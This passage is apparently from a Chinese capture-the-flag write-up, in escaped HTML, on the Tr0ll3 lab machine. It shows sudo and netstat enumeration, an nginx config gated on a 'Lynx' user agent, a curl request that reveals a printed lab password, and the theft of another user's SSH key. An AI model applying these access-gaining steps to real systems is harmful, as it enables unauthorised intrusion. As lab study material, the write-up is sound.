&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;drwx------ &lt;span class="m"&gt;3&lt;/span&gt; wytshadow wytshadow &lt;span class="m"&gt;4096&lt;/span&gt; Aug &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="m"&gt;2019&lt;/span&gt; .gnupg
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;-rwsrwxrwx &lt;span class="m"&gt;1&lt;/span&gt; genphlux root &lt;span class="m"&gt;8566&lt;/span&gt; Jun &lt;span class="m"&gt;17&lt;/span&gt; &lt;span class="m"&gt;2015&lt;/span&gt; oohfun
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;-rw-r--r-- &lt;span class="m"&gt;1&lt;/span&gt; wytshadow wytshadow &lt;span class="m"&gt;675&lt;/span&gt; Jun &lt;span class="m"&gt;17&lt;/span&gt; &lt;span class="m"&gt;2015&lt;/span&gt; .profile
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;执行oohfun发现提示一堆信息，暂时关闭。看一下sudo -l发现可以执行nginx服务，之前扫描这个靶机发现只有22端口，所以开80端口的任务原来是wytshadow用户完成。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250723165312778" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250723165312778.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;sudo /usr/sbin/service nginx start
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;netstat -tunlpa
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;wytshadow@Tr0ll3:/tmp$ netstat -tunlpa
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;(&lt;/span&gt;No info could be &lt;span class="nb"&gt;read&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;-p&amp;#34;&lt;/span&gt;: geteuid&lt;span class="o"&gt;()=&lt;/span&gt;&lt;span class="m"&gt;1003&lt;/span&gt; but you should be root.&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;Active Internet connections &lt;span class="o"&gt;(&lt;/span&gt;servers and established&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;tcp &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt; 0.0.0.0:8080 0.0.0.0:* LISTEN -
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;tcp &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt; 127.0.0.53:53 0.0.0.0:* LISTEN -
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;tcp &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt; 0.0.0.0:22 0.0.0.0:* LISTEN -
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;tcp &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="m"&gt;36&lt;/span&gt; 172.168.169.142:22 172.168.169.141:56950 ESTABLISHED -
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;tcp6 &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="m"&gt;8080&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;* LISTEN -
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;tcp6 &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="m"&gt;22&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;* LISTEN -
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;udp &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt; 127.0.0.53:53 0.0.0.0:* -
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;udp &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt; 0.0.0.0:68 0.0.0.0:* -
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;查看nginx相关配置，最终找到配置文件 ，发现服务开启再8080端口上，限制&lt;code&gt;user agent&lt;/code&gt;为&amp;quot;Lynx&amp;quot;。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-nginx" data-lang="nginx"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 查看nginx相关配置
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;wytshadow@Tr0ll3:/tmp$&lt;/span&gt; &lt;span class="s"&gt;find&lt;/span&gt; &lt;span class="s"&gt;/&lt;/span&gt; &lt;span class="s"&gt;-name&lt;/span&gt; &lt;span class="s"&gt;nginx&lt;/span&gt; &lt;span class="s"&gt;&amp;gt;&lt;/span&gt; &lt;span class="s"&gt;find.txt&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;wytshadow@Tr0ll3:/tmp&lt;/span&gt;$ &lt;span class="s"&gt;cat&lt;/span&gt; &lt;span class="s"&gt;find.txt&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;/var/lib/nginx&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;/var/log/nginx&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;/var/nginx&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;/etc/init.d/nginx&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;/etc/logrotate.d/nginx&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;/etc/default/nginx&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;/etc/nginx&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;/etc/ufw/applications.d/nginx&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;/usr/sbin/nginx&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;/usr/lib/nginx&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;/usr/share/nginx&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;/usr/share/doc/nginx&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;wytshadow@Tr0ll3:/tmp&lt;/span&gt;$ &lt;span class="s"&gt;cat&lt;/span&gt; &lt;span class="s"&gt;/etc/nginx/sites-available/default&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;##
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# You should look at the following URL&amp;#39;s in order to grasp a solid understanding
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# of Nginx configuration files in order to fully unleash the power of Nginx.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# https://www.nginx.com/resources/wiki/start/
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# https://www.nginx.com/resources/wiki/start/topics/tutorials/config_pitfalls/
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# https://wiki.debian.org/Nginx/DirectoryStructure
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# In most cases, administrators will remove this file from sites-enabled/ and
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# leave it as reference inside of sites-available where it will continue to be
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# updated by the nginx packaging team.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# This file will automatically load configuration files provided by other
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# applications, such as Drupal or Wordpress. These applications will be made
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# available underneath a path with that package name, such as /drupal8.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Please see /usr/share/doc/nginx-doc/examples/ for more detailed examples.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;##
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;34&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;35&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Default server configuration
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;36&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;37&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;server&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;38&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kn"&gt;listen&lt;/span&gt; &lt;span class="mi"&gt;8080&lt;/span&gt; &lt;span class="s"&gt;default_server&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;39&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kn"&gt;listen&lt;/span&gt; &lt;span class="s"&gt;[::]:8080&lt;/span&gt; &lt;span class="s"&gt;default_server&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;40&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kn"&gt;if&lt;/span&gt; &lt;span class="s"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$http_user_agent&lt;/span&gt; &lt;span class="s"&gt;!~&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;Lynx*&amp;#34;)&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;41&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kn"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;403&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;42&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;43&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# SSL configuration
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;44&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;#
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;45&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# listen 443 ssl default_server;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;46&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# listen [::]:443 ssl default_server;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;47&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;#
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;48&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# Note: You should disable gzip for SSL traffic.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;49&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# See: https://bugs.debian.org/773332
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;50&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;#
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;51&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# Read up on ssl_ciphers to ensure a secure configuration.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;52&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# See: https://bugs.debian.org/765782
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;53&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;#
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;54&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# Self signed certs generated by the ssl-cert package
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;55&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# Don&amp;#39;t use them in a production server!
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;56&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;#
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;57&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# include snippets/snakeoil.conf;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;58&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;59&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kn"&gt;root&lt;/span&gt; &lt;span class="s"&gt;/var/nginx/www&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;60&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;61&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# Add index.php to the list if you are using PHP
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;62&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kn"&gt;index&lt;/span&gt; &lt;span class="s"&gt;index.html&lt;/span&gt; &lt;span class="s"&gt;index.htm&lt;/span&gt; &lt;span class="s"&gt;index.nginx-debian.html&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;63&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;64&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kn"&gt;server_name&lt;/span&gt; &lt;span class="s"&gt;_&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;65&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;66&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kn"&gt;location&lt;/span&gt; &lt;span class="s"&gt;/&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;67&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# First attempt to serve request as file, then
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;68&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# as directory, then fall back to displaying a 404.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;69&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kn"&gt;try_files&lt;/span&gt; &lt;span class="nv"&gt;$uri&lt;/span&gt; &lt;span class="nv"&gt;$uri/&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;404&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;70&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Kali再次扫描确认8080端口确实打开了。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250723171247568" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250723171247568.png"&gt;&lt;/p&gt;
&lt;p&gt;带Agent参数访问得到一个新的用户名和密码&lt;code&gt;genphlux:HF9nd0cR!&lt;/code&gt;。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;curl -A &lt;span class="s2"&gt;&amp;#34;Lynx&amp;#34;&lt;/span&gt; http://172.168.169.142:8080
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250723171759506" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250723171759506.png"&gt;&lt;/p&gt;
&lt;h2 id="ssh密钥获取"&gt;SSH密钥获取
&lt;/h2&gt;&lt;p&gt;登录genphlux用户发现可以开启apache服务，但是开了好像也访问不了。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250723180438124" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250723180438124.png"&gt;&lt;/p&gt;
&lt;p&gt;回到原来的位置sudo -l一下&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;wytshadow@Tr0ll3:/tmp$ su genphlux
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;Password:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;genphlux@Tr0ll3:/tmp$ id
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1004&lt;span class="o"&gt;(&lt;/span&gt;genphlux&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1004&lt;span class="o"&gt;(&lt;/span&gt;genphlux&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1004&lt;span class="o"&gt;(&lt;/span&gt;genphlux&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;genphlux@Tr0ll3:/tmp$ sudo -l
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;[&lt;/span&gt;sudo&lt;span class="o"&gt;]&lt;/span&gt; password &lt;span class="k"&gt;for&lt;/span&gt; genphlux:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;Matching Defaults entries &lt;span class="k"&gt;for&lt;/span&gt; genphlux on Tr0ll3:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; env_reset, mail_badpass, &lt;span class="nv"&gt;secure_path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/local/sbin&lt;span class="se"&gt;\:&lt;/span&gt;/usr/local/bin&lt;span class="se"&gt;\:&lt;/span&gt;/usr/sbin&lt;span class="se"&gt;\:&lt;/span&gt;/usr/bin&lt;span class="se"&gt;\:&lt;/span&gt;/sbin&lt;span class="se"&gt;\:&lt;/span&gt;/bin&lt;span class="se"&gt;\:&lt;/span&gt;/snap/bin
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;User genphlux may run the following commands on Tr0ll3:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; /usr/sbin/service apache2 start
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;genphlux@Tr0ll3:/tmp&lt;span class="nv"&gt;$sudo&lt;/span&gt; /usr/sbin/service apache2 start
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;在用户目录下发现存在maleus用户的密钥。将密钥文字复制到Kali上即可用密钥登录新用户。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;genphlux@Tr0ll3:~$ ll
